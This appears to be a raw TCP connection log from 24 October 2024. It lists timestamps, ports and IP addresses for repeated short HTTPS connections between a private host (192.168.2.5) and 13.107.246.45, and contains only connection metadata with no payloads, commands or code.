Oct 24, 2024 22:09:38.804455996 CEST	443	49778	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.807049990 CEST	49785	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.807122946 CEST	443	49785	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.807272911 CEST	49785	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.807466030 CEST	49785	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.807496071 CEST	443	49785	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.883142948 CEST	443	49781	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.883687973 CEST	49781	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.883716106 CEST	443	49781	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.884270906 CEST	49781	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.884277105 CEST	443	49781	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.915236950 CEST	443	49782	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.915772915 CEST	49782	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.915781975 CEST	443	49782	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.916532040 CEST	49782	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.916541100 CEST	443	49782	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.925854921 CEST	443	49780	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.926223040 CEST	443	49780	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.926285028 CEST	49780	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.926350117 CEST	49780	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.926350117 CEST	49780	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.926359892 CEST	443	49780	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.926367998 CEST	443	49780	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.929251909 CEST	49786	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.929297924 CEST	443	49786	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.929569006 CEST	49786	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.929758072 CEST	49786	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.929769993 CEST	443	49786	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.936155081 CEST	443	49779	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.936496973 CEST	443	49779	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.936683893 CEST	49779	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.936683893 CEST	49779	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.936683893 CEST	49779	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.939073086 CEST	49787	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.939112902 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.939228058 CEST	49787	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.939394951 CEST	49787	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.939408064 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.016283989 CEST	443	49781	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.016341925 CEST	443	49781	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.016412973 CEST	49781	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.016673088 CEST	49781	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.016695023 CEST	443	49781	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.016712904 CEST	49781	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.016719103 CEST	443	49781	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.019855022 CEST	49788	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.019898891 CEST	443	49788	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.020086050 CEST	49788	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.020272970 CEST	49788	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.020291090 CEST	443	49788	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.047919035 CEST	443	49782	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.047991037 CEST	443	49782	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.048238039 CEST	49782	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.048306942 CEST	49782	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.048306942 CEST	49782	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.048317909 CEST	443	49782	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.048326015 CEST	443	49782	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.051282883 CEST	49789	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.051347017 CEST	443	49789	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.051417112 CEST	49789	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.051625967 CEST	49789	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.051645041 CEST	443	49789	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.239270926 CEST	49779	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.239290953 CEST	443	49779	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.537406921 CEST	443	49785	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.538091898 CEST	49785	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.538151026 CEST	443	49785	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.538733006 CEST	49785	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.538744926 CEST	443	49785	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.667768002 CEST	443	49785	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.667920113 CEST	443	49785	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.668025970 CEST	49785	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.668246984 CEST	49785	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.668283939 CEST	443	49785	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.668312073 CEST	49785	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.668327093 CEST	443	49785	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.670667887 CEST	49791	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.670722008 CEST	443	49791	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.670803070 CEST	49791	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.670938969 CEST	49791	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.670963049 CEST	443	49791	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.673099995 CEST	443	49786	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.673489094 CEST	49786	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.673520088 CEST	443	49786	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.673913002 CEST	49786	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.673918962 CEST	443	49786	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.674367905 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.674678087 CEST	49787	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.674696922 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.675143003 CEST	49787	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.675153017 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.774713039 CEST	443	49788	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.775168896 CEST	49788	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.775192022 CEST	443	49788	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.775585890 CEST	49788	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.775593996 CEST	443	49788	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.796044111 CEST	443	49789	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.796411037 CEST	49789	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.796438932 CEST	443	49789	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.796793938 CEST	49789	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.796798944 CEST	443	49789	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.804033041 CEST	443	49786	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.804279089 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.804375887 CEST	443	49786	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.804451942 CEST	49786	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.804493904 CEST	49786	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.804493904 CEST	49786	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.804514885 CEST	443	49786	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.804527998 CEST	443	49786	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.804640055 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.804696083 CEST	49787	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.804735899 CEST	49787	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.804735899 CEST	49787	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.804774046 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.804795980 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.807449102 CEST	49792	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.807471037 CEST	443	49792	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.807493925 CEST	49793	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.807535887 CEST	49792	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.807542086 CEST	443	49793	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.807651043 CEST	49793	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.807662010 CEST	49792	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.807672024 CEST	443	49792	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.807782888 CEST	49793	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.807807922 CEST	443	49793	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.907583952 CEST	443	49788	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.907866955 CEST	443	49788	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.907922983 CEST	49788	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.907970905 CEST	49788	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.907991886 CEST	443	49788	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.908004045 CEST	49788	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.908009052 CEST	443	49788	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.910310984 CEST	49794	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.910327911 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.910491943 CEST	49794	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.910634995 CEST	49794	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.910648108 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.928282976 CEST	443	49789	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.928519964 CEST	443	49789	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.928642988 CEST	49789	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.928677082 CEST	49789	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.928693056 CEST	443	49789	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.928706884 CEST	49789	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.928714037 CEST	443	49789	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.930888891 CEST	49795	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.930938959 CEST	443	49795	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:39.931030989 CEST	49795	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.931232929 CEST	49795	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:39.931258917 CEST	443	49795	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.418059111 CEST	443	49791	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.419025898 CEST	49791	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.419025898 CEST	49791	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.419064045 CEST	443	49791	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.419090033 CEST	443	49791	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.542557955 CEST	443	49793	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.543697119 CEST	49793	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.543697119 CEST	49793	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.543787003 CEST	443	49793	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.543817043 CEST	443	49793	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.546983957 CEST	443	49791	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.547137022 CEST	443	49791	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.547301054 CEST	49791	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.547301054 CEST	49791	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.547301054 CEST	49791	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.548137903 CEST	443	49792	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.548665047 CEST	49792	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.548707008 CEST	443	49792	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.549182892 CEST	49792	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.549192905 CEST	443	49792	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.550360918 CEST	49796	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.550405979 CEST	443	49796	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.550590992 CEST	49796	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.550590992 CEST	49796	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.550627947 CEST	443	49796	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.651079893 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.652630091 CEST	49794	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.652630091 CEST	49794	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.652662039 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.652682066 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.659657001 CEST	443	49795	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.659955025 CEST	49795	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.659989119 CEST	443	49795	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.661173105 CEST	49795	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.661185026 CEST	443	49795	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.673794985 CEST	443	49793	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.673957109 CEST	443	49793	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.674091101 CEST	49793	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.674091101 CEST	49793	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.676770926 CEST	49797	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.676779032 CEST	49793	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.676808119 CEST	443	49793	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.676809072 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.676965952 CEST	49797	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.677052021 CEST	49797	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.677059889 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.679121017 CEST	443	49792	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.679418087 CEST	443	49792	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.679510117 CEST	49792	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.679510117 CEST	49792	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.679852009 CEST	49792	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.679864883 CEST	443	49792	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.681588888 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.681622028 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.681786060 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.681786060 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.681817055 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.788160086 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.788289070 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.788486004 CEST	49794	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.788486004 CEST	49794	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.788877964 CEST	49794	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.788902044 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.790349007 CEST	443	49795	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.790636063 CEST	443	49795	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.790800095 CEST	49795	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.790868998 CEST	49795	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.790868998 CEST	49795	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.790909052 CEST	443	49795	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.790934086 CEST	443	49795	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.792587996 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.792596102 CEST	49799	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.792630911 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.792654991 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.792754889 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.792757988 CEST	49799	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.792901039 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.792907000 CEST	49799	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.792910099 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.792922020 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:40.851347923 CEST	49791	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:40.851388931 CEST	443	49791	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.298053980 CEST	443	49796	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.299223900 CEST	49796	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:41.299223900 CEST	49796	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:41.299263000 CEST	443	49796	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.299283028 CEST	443	49796	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.409598112 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.410295010 CEST	49797	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:41.410343885 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.410784006 CEST	49797	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:41.410790920 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.416398048 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.416970015 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:41.417016029 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.417434931 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:41.417442083 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.430190086 CEST	443	49796	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.430282116 CEST	443	49796	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.430505037 CEST	49796	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:41.430572987 CEST	49796	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:41.430604935 CEST	443	49796	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.430650949 CEST	49796	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:41.430656910 CEST	443	49796	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.434048891 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:41.434133053 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.434252024 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:41.434462070 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:41.434478998 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.528480053 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.529058933 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:41.529082060 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.529510021 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:41.529517889 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.535855055 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.536295891 CEST	49799	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:41.536318064 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.536725998 CEST	49799	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:41.536734104 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.546710014 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.546873093 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.546935081 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:41.547450066 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:41.547477961 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.547493935 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:41.547501087 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.549644947 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.549714088 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.549969912 CEST	49797	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:41.550399065 CEST	49797	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:41.550415993 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.550431013 CEST	49797	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:41.550436974 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.552762032 CEST	49802	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:41.552809954 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.553549051 CEST	49802	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:41.553749084 CEST	49802	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:41.553761959 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.555844069 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:41.555891991 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.555972099 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:41.556225061 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:41.556237936 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.656378031 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.656693935 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.656765938 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:41.656833887 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:41.656852961 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.656866074 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:41.656873941 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.659758091 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:41.659795046 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.659933090 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:41.660146952 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:41.660159111 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.670165062 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.670475960 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.670550108 CEST	49799	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:41.670627117 CEST	49799	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:41.670650005 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.670664072 CEST	49799	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:41.670671940 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.673455954 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:41.673490047 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:41.673554897 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:41.673736095 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:41.673746109 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.159811974 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.160370111 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:42.160429001 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.161573887 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:42.161581993 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.288660049 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.288778067 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.288902998 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.288963079 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:42.289177895 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:42.289195061 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.289208889 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:42.289216042 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.289330006 CEST	49802	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:42.289350033 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:42.289983034 CEST	49802	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:42.289988995 CEST	443	49802	13.107.246.45	192.168.2.5
